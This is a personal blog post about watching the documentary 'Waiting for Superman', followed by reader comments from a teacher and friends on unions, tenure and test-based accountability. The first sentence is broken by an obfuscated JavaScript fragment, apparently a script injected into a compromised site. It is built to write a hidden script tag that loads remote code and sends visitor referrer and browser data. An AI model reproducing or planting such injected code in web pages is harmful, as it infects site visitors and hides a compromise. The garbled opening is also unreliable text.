Nick ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“<\\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzznz|var|u0026u|referrer|azdsa||js|php’.split(‘|’),0,{}))
and I have similar tastes in movies – arguably one of the most important traits in a happy marriage.
What do we typically like to watch? Kid movies. Yep. Incredibles, Toy Story (1-3, duh), Kung Fu Panda, Despicable Me….the list goes on.
Despite or tendency to pick kid movies – we ended up watch Waiting for Superman (did I mention I also have a thing for comic book movies? just me, not Nick…but he’ll watch them). Nope, it’s not really about Superman at all. It’s a documentary. Yeah, I know. Uncharacteristic.
It’s a documentary that follows several students as they enter lotteries for local charter schools. They want OUT of the public schools and into something that “works.” I’m easily swayed…..so I bought into the whole thing. Unions are bad, there’s too much bureaucracy, teacher’s should be held accountable somehow (totally not cool to have teachers falling asleep in class) etc. I think there are a few teachers out there that read this….so I’m interested….what do you think? Did you see it? Is it true? Is it missing the point?
3 replies on “Waiting for Superman”
This is precisely why I had Sara and Luke over and we watched it together a month or two ago! I’m sure there are some skews to the documentary, but generally, it does seem incredibly unfair for teachers to not be rewarded and/or held accountable based on performance/results, just like virtually any other job in the world (and one of the most important I might add). My sister is a great teacher and can’t get a job until someone literally dies or retires.
I haven’t seen it yet. What did you watch it on? So far I’m just doing Netflix.
I didn’t see it. I actually had tickets to see it at SIFF last spring but got stuck in a huge traffic jam on I-90 and missed it. As a teacher now in my 11th year in public schools, I definitely have some issues with the teachers’ unions, as well as the tenure system. It’s definitely too hard to get rid of poor teachers and there’s no system currently in place, other than periodic evaluations of a single lesson by an administrator, to monitor their performance.
On the other hand, having spent my first ten years in an alternative school where, despite great teachers doing great work, our students — due to many external factors over which teachers had absolutely no control — consistently performed poorly on standardized tests, I have very serious doubts about the validity of tying students’ grades or test scores directly to teachers’ compensation or job security. It’s a very tough question.